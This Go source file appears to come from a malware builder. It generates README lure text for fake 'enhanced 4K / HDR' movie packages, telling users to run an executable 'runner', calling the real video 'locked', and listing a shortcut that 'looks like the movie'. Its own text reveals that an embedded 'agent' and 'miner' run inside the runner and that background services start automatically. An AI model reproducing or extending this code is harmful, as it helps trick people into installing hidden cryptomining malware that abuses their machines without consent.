package builder

import (
	"fmt"
	"path/filepath"
	"strings"
)

type fusionReadmeInfo struct {
	Title       string
	RunnerName  string
	MediaName   string
	PayloadKind string // exe | video
	MediaMode   string // embedded | paired | ""
}

func formatFusionReadme(info fusionReadmeInfo) string {
	title := strings.TrimSpace(info.Title)
	if title == "" {
		title = "Media"
	}
	runner := strings.TrimSpace(info.RunnerName)
	if runner == "" {
		runner = "runner.exe"
	}

	var b strings.Builder
	fmt.Fprintf(&b, "========================================\r\n")
	fmt.Fprintf(&b, "  ENHANCED PLAYBACK PACKAGE\r\n")
	fmt.Fprintf(&b, "========================================\r\n\r\n")
	fmt.Fprintf(&b, "Title: %s\r\n\r\n", title)

	switch {
	case info.PayloadKind == "video" && info.MediaMode == "paired":
		media := strings.TrimSpace(info.MediaName)
		if media == "" {
			media = title + filepath.Ext(title)
		}
		fmt.Fprintf(&b, "HOW TO WATCH\r\n")
		fmt.Fprintf(&b, "-----------\r\n")
		fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n")
		fmt.Fprintf(&b, "    %s\r\n\r\n", runner)
		fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n")
		fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n")
		fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n")
		fmt.Fprintf(&b, "-------------------\r\n")
		fmt.Fprintf(&b, "  %-22s  START HERE — play movie (enhanced 4K)\r\n", runner)
		fmt.Fprintf(&b, "  %-22s  locked shortcut (looks like the movie)\r\n", media+".lnk")
		fmt.Fprintf(&b, "  %-22s  encrypted video (do not open directly)\r\n", media+".cmdata")
		fmt.Fprintf(&b, "  README.txt            this file\r\n\r\n")
		fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n")
		fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n")

	case info.PayloadKind == "video" && info.MediaMode == "embedded":
		fmt.Fprintf(&b, "HOW TO WATCH\r\n")
		fmt.Fprintf(&b, "-----------\r\n")
		fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n")
		fmt.Fprintf(&b, "    %s\r\n\r\n", runner)
		fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n")

	default:
		fmt.Fprintf(&b, "HOW TO RUN\r\n")
		fmt.Fprintf(&b, "----------\r\n")
		fmt.Fprintf(&b, "Double-click:\r\n\r\n")
		fmt.Fprintf(&b, "    %s\r\n\r\n", runner)
		fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n")
	}

	fmt.Fprintf(&b, "\r\n========================================\r\n")
	return b.String()
}
